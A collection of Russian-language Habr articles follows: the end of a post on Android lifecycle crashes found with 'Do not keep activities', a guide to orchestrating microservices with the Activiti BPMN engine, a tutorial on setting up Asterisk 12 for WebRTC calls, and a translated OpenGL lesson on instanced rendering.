Я потратил несколько дней на исправление ошибок, после того как прошелся по своему приложению с «Do not keep activities». Теперь, думаю, стоит всегда включать эту настройку на время разработки. Главной моей проблемой было корректное подключение социальных сетей в приложении.
Почти не возникло проблем с Вконтакте, с их SDK можно написать все правильно, но все таки есть у них небольшая проблема. А именно, после авторизации через приложение, результат возвращается в onActivityResult. По документации, нужно вызвать
```
VKUIHelper.onActivityResult(requestCode, resultCode, data);
```
однако, в случае уничтожения активити нашего приложение, вылетит NPE, поэтому сначала нужно вызвать
```
VKUIHelper.onResume(this);
```
Не совсем очевидно, да и незадокументировано. Завел issue, на всякий.
Были проблемы с Facebook, потому как, по глупости своей, я решил использовать android-simple-facebook, а ее автор, как я понял, не особо парился по поводу android lifecycle. Пришлось полностью от него отказаться и переделывать все на официальный SDK Facebook и все проблемы ушли. Хотя, наверное, можно было и так все поправить одной строчкой, но пути назад уже не было.
И совсем не было проблем с Twitter, потому что все работает просто, как топор. У них просто нет своего SDK и авторизации через приложение. Приходится делать все по старинке, через WebView. Вообще у них самая ужасная авторизация из всех.
Ну да это так, лирическое отступление.
Есть проблемы с PayPal SDK, оно просто валится везде где только можно. Благо кто-то уже завел issue до меня и наверняка они в скором будущем это поправят.
### Другие примеры
У меня не много приложений на телефоне, да и смотреть их все мне, если честно, лень, но я не мог пройти мимо недавно вышедшего приложения хабра. Начнем, конечно же, с него. Ну и добавлю ошибку Payoneer, которую нашел случайно:)
#### Хабрахабр
Я потыкался по разным экранам и уже было расстроился, неужели все написано правильно и один лишь я делаю столько ошибок. Но нет, я таки добрался до страницы About:
```
Caused by: java.lang.NullPointerException
at ru.habrahabr.activity.about.AboutFragment.onAttach(AboutFragment.java:44)
```
#### Payoneer
Много времени не понадобилось. Экран логина, ушел в keepass за паролем, вернулся — ~~гипс~~ крэш:
```
Caused by: java.lang.NullPointerException
at com.payoneer.android.ui.fragment.LoginFragment.initializeOnCreateData(LoginFragment.java:379)
at com.payoneer.android.ui.fragment.LoginFragment.onCreate(LoginFragment.java:152)
```
Ещё есть некоторые приложения без крэшэй, но с неправильным поведением, например, не сохраняется открытый фрагмент, а вместо него, после пересоздания, снова показывается главный экран приложения.
### P.S.
Используйте настройку «Do not keep activities», надеюсь для кого-то эта информация окажется новой и поможет избежать ошибок поведения и крэшэй.
Думаю тоже смог бы избежать кучи репортов в Google Play, если бы сразу знал об этой настройке.
Ах да, репорты отправил. | https://habr.com/ru/post/221679/ | null | ru | null |
# Оркестрация микросервисов с Activiti BPMN Engine
Микросервисная архитектура предполагает декомпозицию системы на относительно независимые фрагменты с собственными источниками данных, которые могут переиспользоваться в различных процессах и обмениваться данными. Но в таком решении есть и оборотная сторона, связанная с необходимостью включения логики оркестрации или непосредственно в код сервисов (что затрудняет возможность гибкого изменения процесса), либо использовать внешний оркестратор, который будет обеспечивать запуск микросервисов с входными параметрами, получение и передачу результата, а также управление сценарием при возникновении ошибок или определенных ситуаций при выполнении процесса.
Второй вариант может быть реализован в виде исполняемого кода, либо с использованием специальных движков для исполнения сценария бизнес-процесса, который может включать в себя вызов внешних сервисов. Стандартом в области описания бизнес-процессов является визуальная нотация BPMN 2.0 и наибольший интерес представляет соединение графической диаграммы и исполняемых сценариев, которое также называется Executable BPMN 2.0 и среды для его исполнения, среди которых можно назвать [jBPM](https://www.jbpm.org/), [Flowable](https://www.flowable.com/open-source), [Camunda BPM](https://camunda.com/) и [Activiti](https://www.activiti.org/) (она интересна еще и тем, что на ней реализуется управление процессами в Open Source системе управления документами Alfresco). В этой статье мы рассмотрим основы BPMN и создадим простой процесс для управления системой полива в зависимости от измеренной влажности (все компоненты системы реализованы как микросервисы).
Прежде чем мы перейдем к рассмотрению Activiti и ее настройке, нужно сказать несколько слов о BPMN. Эта нотация появилась как результат упрощения и обобщения для описания реальных бизнес-процессов другой известной нотации UML Activity Diagram (в более новой версии UML AD используются сходные графические элементы, как в BPMN). BPMN определяет соглашения по представлению потока управления и потока данных (разные варианты линий со стрелками), описанию выполняемых задач (они могут быть реализованы как пользовательские User Task, например при описании документооборота, так и выполняться через сценарий Script Task), разделения и склейки потока управления (выбор одного из вариантов, параллельное выполнение), передачи и приема сигналов и сообщений, а также описания стартового события сценария (может быть сообщением или, например, таймером). Важным аспектом описания является возможность определения альтернативных завершений задачи (по таймауту, при возникновении исключения, при прерывании и т.д.), благодаря этому можно описывать не только основной (успешный) сценарий, но и корректно обрабатывать ошибки и неожиданные ситуации.
Все элементы имеют обобщенное графическое отображение (например, задачи изображаются как прямоугольник, шлюзы управления — ромбом, события — окружностью) и уточняющую нотацию (чаще всего пиктограмма внутри объекта, например для идентификации сценарной или пользовательской задачи).
BPMN файл представляет из себя XML-документ, который содержит описание элементов процесса (события начала и завершения, коннекторы для передачи сигналов, задачи и соединители между элементами для определения потока выполнения). Также в элементах могут указываться артефакты (документы, аннотации) и к любому из элементов может быть добавлено описание (например, для пояснения потока выполнения после ветвления), а также может содержаться дополнительная часть описания расположения элементов на диаграмме).
```
Simple "Hello World" process
execution.setVariable("message", "Hello, World!")
```
Здесь определено начальное событие (`startevent1`), задача для пользователя (`task1`) и конечное событие (`endevent1`), а также направление потока выполнения (после `startevent1` переходим к `task1`, после `task1` к `endevent1`). Визуально диаграмма может выглядеть следующим образом:
Простой процесс в ActivitiДля проектирования процесса можно использовать любой инструмент для разработки BPMN-диаграмм, например встроенный визуальный редактор процессов Activiti Explorer. Разработанный процесс может запускаться как внутри Activiti, так и в любом коде через импорт движка Activiti как зависимости:
```
implementation 'org.activiti:activiti-engine:7.1.0.M6'
```
и в дальнейшем в коде создается движок и выполняется запуск процесса:
```
val processEngine = ProcessEngineConfiguration.
createStandaloneInMemProcessEngineConfiguration().
setDatabaseSchemaUpdate(ProcessEngineConfiguration.DB_SCHEMA_UPDATE_FALSE).
setJdbcUrl("jdbc:h2:mem:my-own-db;DB_CLOSE_DELAY=1000").
setAsyncExecutorActivate(false).
buildProcessEngine();
```
Дальше из processEngine можно получить доступ к сервисам:
* `processEngine.getRuntimeService()` — управление выполнением сценария
* `processEngine.getRepositoryService()` — отвечает за загрузку и хранение ресурсов (включая описание BPMN-процессов)
* `processEngine.getIdentityService()` — отвечает за управление учетными записями
* `processEngine.getHistoryService()` — возможность посмотреть историю запущенного workflow
* `processEngine.getTaskService()` — возможность программно создавать задачи и смотреть за текущим состоянием
Для запуска процесса из созданного processEngine необходимо обратиться к репозиторию и затем передать на выполнение в RuntimeService:
```
val repositoryService = processEngine.getRepositoryService();
repositoryService.createDeployment()
.addClasspathResource("hello.bpmn20.xml")
.deploy();
val variables = mutableMapOf();
variables["name"] = "World";
val runtimeService = processEngine.getRuntimeService();
val processInstance = runtimeService.startProcessInstanceByKey("helloworld", variables);
```
Для передачи значений между элементами (узлами) процесса используется контекст переменных, которые могут быть инициализированы при старте процесса, модифицироваться во время выполнения процесса (через `execution.SetVariable`) и использоваться при принятии решений в узлах ветвления (`ExclusiveGateway`), а также быть получены после завершения выполнения процесса. Также существует контекст задачи (объект `Task`) из которого можно получать сохраненные локальные результаты, например, может быть добавлен Listener по завершению ScriptTask (внутри определения задачи):
```
execution.setVariable('message', task.getVariable('message'));
```
Теперь посмотрим внимательнее на scriptTask. В атрибуте scriptFormat указывается язык сценария (groovy, JavaScript, Python), при этом для поддержки Groovy и Python нужно добавить соответствующие зависимости (`org.codehaus.groovy:groovy-all:3.0.8` или `org.python:jython:2.7.2`). Для запуска JavaScript используются возможности Nashorn API, поэтому для выполнения сетевых запросов можно использовать классы Java:
```
function read(inputStream){
var inReader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));
var inputLine;
var response = new java.lang.StringBuffer();
while ((inputLine = inReader.readLine()) != null) {
response.append(inputLine);
}
inReader.close();
return response.toString();
}
var con = new java.net.URL("URL").openConnection();
con.requestMethod = "GET";
response = read(con.inputStream);
```
Теперь можно выполнить соответствующие вызовы для обращения к микросервисам из `ServiceTask` и сохранить промежуточные результаты в переменные задачи (или процесса) и использовать их в проверке `ExclusiveGateway`. Предположим, что наши микросервисы опубликованы на адресах `http://gateway/metrics` (возвращает json с текущим значением влажности) и `http://gateway/automation` (принимает параметром sprinkler значение 0 или 1 при необходимости включить или выключить поливальную машину). Тогда процесс будет состоять из `startEvent`, `getMetrics`, `gateway`, `turnOnAutomation`, `turnOffAutomation`, `endEvent`. Для `getMetrics` и управления автоматизацией код создается аналогично упомянутому выше сценарию, единственный новый элемент — `exclusiveGateway`:
```
${humidity < 30}
${humidity >= 30}
```
Таким образом, использованием BPMN-движка помогает выполнить координацию вызовов микросервисов при возникновении необходимых условий и одновременно с этим сохранить все преимущества визуального проектирования и документирования процесса
Полный исходный текст с описанием BPMN-процесса и код для запуска процесса (и эмуляции API микросервисов) доступен на [Github](https://github.com/dzolotov/activiti-bpmn-example).
---
Приглашаем всех желающих на открытое занятие «Шардирование в микросервисной архитектуре», на котором рассмотрим виды шардинга, проанализируем стратегии шардирования. Также рассмотрим консистентное шардирование, поиск, вычисления, хранение и как правильно делить данные. [**Регистрация на занятие.**](https://otus.pw/ZqR0/) | https://habr.com/ru/post/671360/ | null | ru | null |
# Установка и настройка Asterisk для работы с WebRTC
В сети есть много информации и инструкций по теме, но на текущий момент они уже не актуальны и довольно сложны. Во многих случаях используют [webrtc2sip](https://code.google.com/p/webrtc2sip/) но его довольно сложно собрать и заставить работать. Под катом я написал подробную инструкцию как заставить работать WebRTC через Asterisk.
##### 1. Подготовка системы (ubuntu 14.04)
обновляем
```
aptitude update && aptitude upgrade -y
```
качаем 12 версию астериска:
```
cd /usr/src/
wget http://downloads.asterisk.org/pub/telephony/asterisk/asterisk-12-current.tar.gz
tar -zxvf asterisk-12-current.tar.gz
```
в пакете с астером есть скрипт который устанавливает все зависимости, для начала попробуем его использовать.
```
cd asterisk-12.5.0/contrib/scripts/
./install_prereq install
```
в моем случае скрипт выдал кучу конфликтов, у меня ubuntu 64 а скрип пытается поставить i386 пакеты. Поэтому установим все зависимости вручную.
```
aptitude install -y libncurses-dev libz-dev libssl-dev libxml2-dev libsqlite3-dev uuid-dev uuid libcurl-dev libspeex-dev libspeexdsp-dev libogg-dev libvorbis-dev libasound2-dev portaudio19-dev libcurl4-openssl-dev libpq-dev unixodbc-dev libsqlite0-dev libmysqlclient15-dev libneon27-dev libgmime-dev libusb-dev liblua5.1-0-dev lua5.1 libopenh323-dev libvpb-dev libgtk2.0-dev libmysqlclient-dev libbluetooth-dev libradiusclient-ng-dev freetds-dev libsnmp-dev libiksemel-dev libcorosync-dev libnewt-dev libpopt-dev libical-dev libspandsp-dev libjack-dev libresample-dev libc-client-dev binutils-dev libsrtp-dev libgsm1-dev libedit-dev doxygen libjansson-dev libldap-dev subversion git libxslt1-dev mc htop iftop
```
еще раз воспользуемся скриптом для установки дополнительных пакетов libsrtp и pjproject они очень важны для работы webrtc
```
./install_prereq install-unpackaged
```
тут все собралось без проблем, но если вдруг возникнут ошибки то ставим все руками
```
cd /usr/src/
git clone https://github.com/cisco/libsrtp.git
cd libsrtp
./configure CFLAGS=-fPIC && make libsrtp.a && make uninstall && make install
cd ..
echo "/usr/local/lib" > /etc/ld.so.conf.d/usr_local.conf
/sbin/ldconfig
git clone https://github.com/asterisk/pjproject.git
cd pjproject
./configure --enable-shared --with-external-speex --with-external-gsm --with-external-srtp --disable-sound --disable-resample && make && make install
/sbin/ldconfig
```
на этом система готова для установки астериска с поддержкой webrtc.
##### Установка Asterisk
```
cd /usr/src/asterisk-12.5.0/
./configure && make menuselect
```
в меню надо проверить есть ли звездочки
Channel Drivers -> chan\_pjsip и chan\_sip
Resource Modules -> res\_srtp, res\_crypto и res\_http\_websocket
если все есть, то продолжаем, если нет — проверяем заново зависимости.
```
make && make install && make samples
```
Генерируем сертификаты.
```
mkdir /etc/asterisk/keys
cd /usr/src/asterisk-12.5.0/contrib/scripts/
./ast_tls_cert -C pbx.pbxware.ru -O "ATC Design" -d /etc/asterisk/keys
```
скрипт запросит установить пароль (не менее 4 символов) на сертификат.
Установка завершена, переходим к настройкам.
##### Настройка
редактируем файл http.conf
```
[general]
enabled=yes
bindaddr=0.0.0.0
bindport=8088
```
rtp.conf
```
[general]
rtpstart=10000
rtpend=20000
icesupport=yes
stunaddr=stun.l.google.com:19302
```
sip.conf
```
[general]
udpbindaddr=0.0.0.0:5060
realm=webrtc.pbxware.ru ; заменить на свой ИП или на доменное имя сервера с астериском.
transport=udp,ws
```
```
[webrtc](!)
host=dynamic
context=from-internal
type=friend
encryption=yes
avpf=yes
force_avp=yes
icesupport=yes
nat=force_rport,comedia
directmedia=no
disallow=all
qualify=yes
videosupport=yes
allow=ulaw,alaw,vp8,h264,h263p,mpeg4
dtlsenable=yes
dtlsverify=no
dtlscertfile=/etc/asterisk/keys/asterisk.pem
dtlscafile=/etc/asterisk/keys/ca.crt
dtlssetup=actpass
[101](webrtc)
defaultusername=101
secret=101badpassword
[102](webrtc)
defaultusername=102
secret=102badpassword
[103](webrtc)
defaultusername=103
secret=103badpassword
[104](webrtc)
defaultusername=104
secret=104badpassword
[105](webrtc)
defaultusername=105
secret=105badpassword
[106](webrtc)
defaultusername=106
secret=106badpassword
```
extensions.conf
```
[from-internal]
exten => 999,1,Answer()
same => n,Playback(demo-congrats)
same => n,Hangup()
exten => 888,1,Answer()
same => n,Echo()
same => n,Hangup()
exten => _XXX,1,Noop(webrtc test call)
same => n,DIAL(SIP/${EXTEN})
same => n,Hangup()
```
##### Тестирование
Для тестирования можем использовать HTML5 sip client с сервера [sipml5.org/call.htm](http://sipml5.org/call.htm) или установить его на свой сервер.
```
aptitude install apache2
cd /var/www/html/
svn checkout http://sipml5.googlecode.com/svn/trunk/ sipml5
```
теперь веб HTML5 сип клиент доступен на нашем сервере [webrtc.pbxware.ru/sipml5/call.htm](http://webrtc.pbxware.ru/sipml5/call.htm)
Настройка
Display Name: web1
Private Identity\*: 101
Public Identity\*: sip:101@webrtc.pbxware.ru
Password: 101badpassword
Realm\*: webrtc.pbxware.ru
в Expert mode
WebSocket Server URL[2]: ws://webrtc.pbxware.ru:8088/ws
ICE Servers[4]: [{ url: 'stun:stun.l.google.com:19302'}]
##### Тестируем
Звонок между двумя ноутами:
Звонок на андроид (chrome)
лог звонка
```
webrtc*CLI>
== Using SIP VIDEO CoS mark 6
== Using SIP RTP CoS mark 5
-- Executing [104@from-internal:1] NoOp("SIP/103-00000020", "webrtc test call") in new stack
-- Executing [104@from-internal:2] Dial("SIP/103-00000020", "SIP/104") in new stack
== Using SIP VIDEO CoS mark 6
== Using SIP RTP CoS mark 5
-- Called SIP/104
-- SIP/104-00000021 is ringing
webrtc*CLI>
-- SIP/104-00000021 answered SIP/103-00000020
-- Channel SIP/103-00000020 joined 'simple_bridge' basic-bridge <13742dcb-5019-4fd2-b85e-0e1b70b1ccd7>
-- Channel SIP/104-00000021 joined 'simple_bridge' basic-bridge <13742dcb-5019-4fd2-b85e-0e1b70b1ccd7>
```
```
webrtc*CLI> sip show channels
Peer User/ANR Call ID Format Hold Last Message Expiry Peer
91.203.82.152 104 0a9b261a3926a75 (ulaw|vp8) No Tx: ACK 104
91.203.82.152 103 3f8b4b42-600d-8 (ulaw|vp8) No Rx: ACK 103
```
Тесты проводились на
chrome 37.0.2062.94 — работает голос, видео, DTMF.
android chrome 37.0.2062.117 — работает голос, видео, DTMF.
Firefox 32.0 — работает голос, DTMF. Видео работает только в одну сторону.
P.S. Сейчас [сервер](http://webrtc.pbxware.ru/sipml5/call.htm) работает, можете звонить и проверять как работает WebRTC. | https://habr.com/ru/post/236291/ | null | ru | null |
# Learn OpenGL. Урок 4.10 — Инстансинг
 Инстансинг
==========
Представьте, что вы задумали сцену, содержащую огромное количество моделей объектов, причем преимущественно эти модели содержат одинаковые вершинные данные, разнятся только матрицы трансформации, примененные к ним. Например, сцена с травяным полем, где каждая былинка представлена маленькой моделью, составленной буквально из пары треугольников. Конечно же, для достижения нужного эффекта придется отрендерить эту модель не один раз, а тысячу, десять тысяч раз за кадр. Поскольку в каждом листике содержится буквально пара треугольников, то его рендер будет практически мгновенным. Но вот тысячи повторных вызовов функций рендера совокупно очень заметно ударят по производительности.
**Содержание**Часть 1. Начало
1. [OpenGL](https://habrahabr.ru/post/310790/)
2. [Создание окна](https://habrahabr.ru/post/311198/)
3. [Hello Window](https://habrahabr.ru/post/311234/)
4. [Hello Triangle](https://habrahabr.ru/post/311808/)
5. [Shaders](https://habrahabr.ru/post/313380/)
6. [Текстуры](https://habrahabr.ru/post/315294/)
7. [Трансформации](https://habrahabr.ru/post/319144/)
8. [Системы координат](https://habrahabr.ru/post/324968/)
9. [Камера](https://habrahabr.ru/post/327604/)
Часть 2. Базовое освещение
1. [Цвета](https://habrahabr.ru/post/329592/)
2. [Основы освещения](https://habrahabr.ru/post/333932/)
3. [Материалы](https://habrahabr.ru/post/336166/)
4. [Текстурные карты](https://habrahabr.ru/post/337550/)
5. [Источники света](https://habrahabr.ru/post/337642/)
6. [Несколько источников освещения](https://habrahabr.ru/post/338254/)
Часть 3. Загрузка 3D-моделей
1. [Библиотека Assimp](https://habrahabr.ru/post/338436/)
2. [Класс полигональной сетки Mesh](https://habrahabr.ru/post/338436/)
3. [Класс 3D-модели](https://habrahabr.ru/post/338998/)
Часть 4. Продвинутые возможности OpenGL
1. [Тест глубины](https://habrahabr.ru/post/342610/)
2. [Тест трафарета](https://habrahabr.ru/post/344238/)
3. [Смешивание цветов](https://habrahabr.ru/post/343096/)
4. [Отсечение граней](https://habrahabr.ru/post/346964/)
5. [Кадровый буфер](https://habrahabr.ru/post/347354/)
6. [Кубические карты](https://habrahabr.ru/post/347750/)
7. [Продвинутая работа с данными](https://habrahabr.ru/post/350008/)
8. [Продвинутый GLSL](https://habrahabr.ru/post/350156/)
9. [Геометричечкий шейдер](https://habrahabr.ru/post/350782/)
10. [Инстансинг](https://habrahabr.ru/post/352962/)
11. [Сглаживание](https://habrahabr.ru/post/351706/)
Часть 5. Продвинутое освещение
1. [Продвинутое освещение. Модель Блинна-Фонга.](https://habrahabr.ru/post/353054/)
2. [Гамма-коррекция](https://habrahabr.ru/post/353632/)
3. [Карты теней](https://habrahabr.ru/post/353956/)
4. [Всенаправленные карты теней](https://habr.com/post/354208/)
5. [Normal Mapping](https://habr.com/post/415579/)
6. [Parallax Mapping](https://habr.com/post/416163/)
7. [HDR](https://habr.com/post/420409/)
8. [Bloom](https://habr.com/post/420375/)
9. [Отложенный рендеринг](https://habr.com/post/420565/)
10. [SSAO](https://habr.com/post/421385/)
Часть 6. PBR
1. [Теория](https://habr.com/post/426123/)
2. [Аналитические источники света](https://habr.com/post/424453/)
3. [IBL. Диффузная облученность.](https://habr.com/post/426987/)
4. [IBL. Зеркальная облученность.](https://habr.com/post/429744/)
Если бы мы и вправду планировали выводить множество объектов в сцене описанным образом, то в коде это выглядело бы как-то так:
```
for (unsigned int ix = 0; ix < model_count; ++ix)
{
// привязка VAO, текстур, установка юниформов, проч...
DoSomePreparations();
glDrawArrays(GL_TRIANGLES, 0, vertex_count);
}
```
При рендере множества *экземпляров* одной и той же модели мы быстро достигнем бутылочного горлышка в плане производительности – им станет множество вызовов функций отрисовки примитивов. По сравнению с временными затратами на непосредственный рендер, передача данных в GPU о том, что вы хотите что-то отрендерить, с помощью функций типа *glDrawArrays* или *glDrawElemenets* занимает весьма ощутимое время. Это время уходит на подготовку, необходимую OpenGL перед непосредственным выводом данных вершин: передача в GPU данных об текущем буфере чтения данных, расположении и формате данных вершинных атрибутов и прочая, прочая. И весь этот обмен осуществляется по относительно небыстрой шине, связующей CPU и GPU. Складывается парадоксальная ситуация: рендер вершинных данных молниеносен, но вот передача команд на осуществление рендера довольно медленна.
Было бы здорово иметь возможность отправить необходимые данные в видеокарту однократно, а затем всего одним вызовом попросить OpenGL осуществить рендер множества объектов, используя эти данные. Добро пожаловать в мир ***инстансинга***!
Инстансинг – технология, позволяющая выводить множество объектов, используя один вызов функции отрисовки, что избавляет нас от лишнего обмена CPU -> GPU при рендере. Все что нужно сделать для начала использования инстансинга: сменить вызовы *glDrawArrays* и *glDrawElemenets* на *glDrawArraysInstanced* и *glDrawElementsInstanced* соответственно. Версии, поддерживающие инстансинг, принимают один дополнительный параметр, помимо уже знакомых по обычным версиям функций. Этот параметр – число экземпляров инстансинга, т.е. число отрисовываемых экземпляров модели. Таким образом мы единожды скармливаем GPU все необходимые для рендера данные, а затем сообщаем ему как осуществить рендер желаемого числа экземпляров объекта всего за один вызов специальной функции. И видеокарта отрисует все множество объектов без постоянного обращения к CPU.
Сама по себе такая возможность не очень то полезна: выведя тысячи объектов одним и тем же образом, в одном и том же положении, мы в итоге все равно получим изображение единственного объекта – все экземпляры окажутся наложены друг на друга. Для решения этой проблемы в вершинных шейдерах доступная встроенная переменная GLSL *gl\_InstanceID*.
При использовании для рендера функций, поддерживающих инстансинг, значение данной переменной будет увеличиваться на единицу для каждого выводимого экземпляра, начиная с нуля. Таким образом, рендеря 43ий экземпляр объекта, в вершинном шейдере мы получим *gl\_InstanceID* равную 42. Имея уникальный индекс, соответствующий экземпляру, мы могли бы, к примеру, использовать его для выборки из большого массива векторов положений, дабы осуществить рендер каждого экземпляра в определенном месте сцены.
Чтобы лучше прочувствовать суть инстансинга, попробуем разобраться в простом примере, рендерящем сотню квадов (прямоугольников) в нормализованных координатах устройства (NDC) с помощью единственного вызова отрисовки. Смещение определяется с помощью выборки из юниформа, представляющего собой массив, содержащий сто векторов смещения. В результате получается симпатичная сетка из прямоугольников, заполняющих всю площадь окна:
Каждый квад составлен из двух треугольников, что дает нам шесть вершин. Каждая вершина содержит двухкомпонентный вектор положения в NDC и вектор цвета. Ниже представлены вершинные данные из примера – размер треугольников подобран достаточно маленьким, чтобы корректно заполнять экран в больших количествах:
```
float quadVertices[] = {
// координаты // цвета
-0.05f, 0.05f, 1.0f, 0.0f, 0.0f,
0.05f, -0.05f, 0.0f, 1.0f, 0.0f,
-0.05f, -0.05f, 0.0f, 0.0f, 1.0f,
-0.05f, 0.05f, 1.0f, 0.0f, 0.0f,
0.05f, -0.05f, 0.0f, 1.0f, 0.0f,
0.05f, 0.05f, 0.0f, 1.0f, 1.0f
};
```
Цвет квада задает фрагментный шейдер, который просто перенаправляет полученный из вершинного шейдера интерполированный цвет вершины прямо на выходную переменную:
```
#version 330 core
out vec4 FragColor;
in vec3 fColor;
void main()
{
FragColor = vec4(fColor, 1.0);
}
```
Ничего для нас нового. Но в вершинном шейдере дела обстоят иначе:
```
#version 330 core
layout (location = 0) in vec2 aPos;
layout (location = 1) in vec3 aColor;
out vec3 fColor;
uniform vec2 offsets[100];
void main()
{
vec2 offset = offsets[gl_InstanceID];
gl_Position = vec4(aPos + offset, 0.0, 1.0);
fColor = aColor;
}
```
Здесь мы объявили юниформ-массив *offsets*, содержащий сто векторов смещения. В коде шейдера мы получаем значение смещения путем выборки из массива по значению переменной *gl\_InstanceID*. В итоге, используя этот шейдер, мы можем осуществить рендер сотни квадов, расположенных в разных положениях на экране.
Однако, потребуется дополнительная работа – сам по себе массив смещений не заполнится. Заполним его в нашем приложении, до входа в основной цикл отрисовки:
```
glm::vec2 translations[100];
int index = 0;
float offset = 0.1f;
for(int y = -10; y < 10; y += 2)
{
for(int x = -10; x < 10; x += 2)
{
glm::vec2 translation;
translation.x = (float)x / 10.0f + offset;
translation.y = (float)y / 10.0f + offset;
translations[index++] = translation;
}
}
```
Здесь создается сотня векторов переноса, задающих равномерную сетку 10х10.
Не забудем передать сгенерированные данные в юниформ- массив шейдера:
```
shader.use();
for(unsigned int i = 0; i < 100; i++)
{
stringstream ss;
string index;
ss << i;
index = ss.str();
shader.setVec2(("offsets[" + index + "]").c_str(), translations[i]);
}
```
В этом кусочке кода мы преобразуем переменную цикла *i* в переменную типа *string* для возможности динамического задания строки имени юниформа и получения расположения юниформа по этому имени. Для каждого элемента из юниформ-массива offsets мы передаем соответствующий сгенерированный вектор смещения.
> Если доступен C++11 и новее, лучше используйте std::to\_string(). *Прим.пер.*
Теперь, когда подготовительная работа закончена, можно, наконец, приступать в рендеру. Напомню, что необходимо использовать *glDrawArraysInstanced* или *glDrawElementsInstanced* для вызова инстанцированного рендера. Поскольку мы не используем в примере индексный буффер, то используется следующий код:
```
glBindVertexArray(quadVAO);
glDrawArraysInstanced(GL_TRIANGLES, 0, 6, 100);
```
Параметры переданные функции отрисовки идентичны тем, что передаются в *glDrawArrays*, за исключением последнего параметра, задающего желаемое число экземпляров к рендеру. Поскольку мы хотим вывести 100 квадов в сетке 10х10, то и передаем мы число 100. Выполнение кода должно привести к выводу уже знакомой картинки с сотней цветастых прямоугольников.
### Инстансированные массивы
Предыдущий пример вполне себе работчий и справляется со своей задачей. Но есть проблема: если наши аппетиты вырастут, и мы захотим вывести гораздо больше, чем 100 экземпляров, то очень скоро упремся в [потолок](http://www.opengl.org/wiki/Uniform_(GLSL)#Implementation_limits) разрешенного объема отправляемых шейдеру юниформ-данных. Альтернативой передачи данных через юниформы являются *инстансированные массивы* (*instanced arrays*), которые задаются как вершинные атрибуты, выборка из которых происходит только при смене текущего индекса рендерящегося экземпляра объекта. В итоге это позволяет передавать куда большие объемы данных и более удобным способом.
Для обычных вершинных атрибутов GLSL осуществляет выборку новых значений вершинных данных с каждым очередным выполнением кода вершинного шейдера. Однако, задавая вершинный атрибут как инстансированный массив, мы заставляем GLSL осуществлять выборку нового значения атрибута для каждого очередного экземпляра объекта, а не очередной вершины объекта. В итоге можно использовать обычные вершинные атрибуты для данных, представленных повершинно, а инстансированные массивы для данных, уникальных для экземпляра объекта.
Чтобы лучше понять, как это работает, модифицируем код примера на использование инстансированного массива вместо юниформ-массива. Придется обновить код шейдера, задав новый вершинные атрибут:
```
#version 330 core
layout (location = 0) in vec2 aPos;
layout (location = 1) in vec3 aColor;
layout (location = 2) in vec2 aOffset;
out vec3 fColor;
void main()
{
gl_Position = vec4(aPos + aOffset, 0.0, 1.0);
fColor = aColor;
}
```
Здесь мы более не используем переменную *gl\_InstanceID* и можем напрямую обращаться к атрибуту *offset*, без необходимость выборки из массива.
Поскольку реализация инстансированного массива по сути осуществляется на основе вершинных атрибутов, таких как *position* или *color*, то необходимо сохранить данные в объекте вершинного буфера и настроить указатель вершинного атрибута. Сперва сохраним данные массива *translations* в новом объекте буфера:
```
unsigned int instanceVBO;
glGenBuffers(1, &instanceVBO);
glBindBuffer(GL_ARRAY_BUFFER, instanceVBO);
glBufferData(GL_ARRAY_BUFFER, sizeof(glm::vec2) * 100, &translations[0], GL_STATIC_DRAW);
glBindBuffer(GL_ARRAY_BUFFER, 0);
```
Также настроим указатель вершинного атрибута и активируем атрибут:
```
glEnableVertexAttribArray(2);
glBindBuffer(GL_ARRAY_BUFFER, instanceVBO);
glVertexAttribPointer(2, 2, GL_FLOAT, GL_FALSE, 2 * sizeof(float), (void*)0);
glBindBuffer(GL_ARRAY_BUFFER, 0);
glVertexAttribDivisor(2, 1);
```
Код знакомый, кроме последней строки с вызовом *glVertexAttribDivisor*. Данная функция указывает OpenGL, когда следует осуществлять выборку нового элемента из вершинного атрибута. Первый параметр – индекс интересующего атрибута, а второй – *разделитель атрибута* (*attribute divisor*). По умолчанию он установлен в 0, что соответствует обновлению атрибута для каждой новой обрабатываемой вершинным шейдером вершины. Устанавливая этот параметр в 1, мы сообщаем OpenGL о том, что следует обновлять атрибут при рендере каждого последующего экземпляра. Установив разделитель в значение 2, мы обеспечим обновление через каждые два экземпляра, и так далее. По сути, установив разделитель в 1, мы указываем, что атрибут с данным разделителем представлен инстансированным массивом.
Если сейчас отрисовать сцену, с использованием *glDrawArraysInstanced*, то получим следующую картину:
В точности то же самое, что и в прошлый раз, но реализованное с использованием инстансированного массива, что позволяет передавать куда больше данных в вершинный шейдер для обеспечения инстансированного рендера.
Чисто из шалости, попробуем постепенно уменьшать каждый квад, начиная с правого верхнего угла в направлении левого нижнего угла. Снова используем переменную *gl\_InstanceID*, потому что почему бы и нет?
```
void main()
{
vec2 pos = aPos * (gl_InstanceID / 100.0);
gl_Position = vec4(pos + aOffset, 0.0, 1.0);
fColor = aColor;
}
```
В итоге получим картинку, где первые экземпляры рендерятся крошечными, но с приближением номера экземпляра к 100 размер каждого прямоугольника стремится к исходному. Такое совместное использование инстансированных массивов и *gl\_InstanceID* полностью допустимо.
Если вы сомневаетесь, что как следует усвоили принцип работы инстансированного рендера или просто хотите изучить устройство всего кода примера, то исходники доступны [здесь](https://learnopengl.com/code_viewer_gh.php?code=src/4.advanced_opengl/10.1.instancing_quads/instancing_quads.cpp).
Все это, конечно, хорошо, но данные примеры дают слабое представление о реальной пользе инстансинга. Конечно, технические детали здесь показаны, но самая суть инстансинга раскрывается только при рендере сумасшедшего количества схожих объектов – что-то, до чего мы пока не добрались. Именно поэтому в следующем разделе нам придётся выйти в открытый космос, чтобы воочию узреть истинную силу инстансинга.
Поле астероидов
---------------
Представьте себе сцену, где огромная планета окружена массивным поясом астероидов. Такой пояс вполне может содержать тысячи, а то и десятки тысяч каменистых образований. Вывод такой сцены очень быстро станет практически невозможным на любой неплохой видеокарте. Но именно в данном сценарии применение инстансинга напрашивается само собой, поскольку все астероиды пояса вполне можно представить единственной моделью. Каждый астероид будет немного отличаться от соседей благодаря уникальной матрицы трансформации.
Чтобы показать положительный эффект инстансинга мы сперва попробуем вывести эту сцену без его использования. Сцена будет содержать большую планету, модель которой можно скачать [здесь](https://learnopengl.com/data/models/planet.rar), а также большого набора астероидов, специальным образом расположенных вокруг планеты. Модель астероида можно скачать [здесь](https://learnopengl.com/data/models/rock.rar).
В коде приложения мы осуществляем загрузку данных моделей с использованием загрузчика, разобранного в уроках, посвящённых [моделированию](https://habrahabr.ru/post/338436).
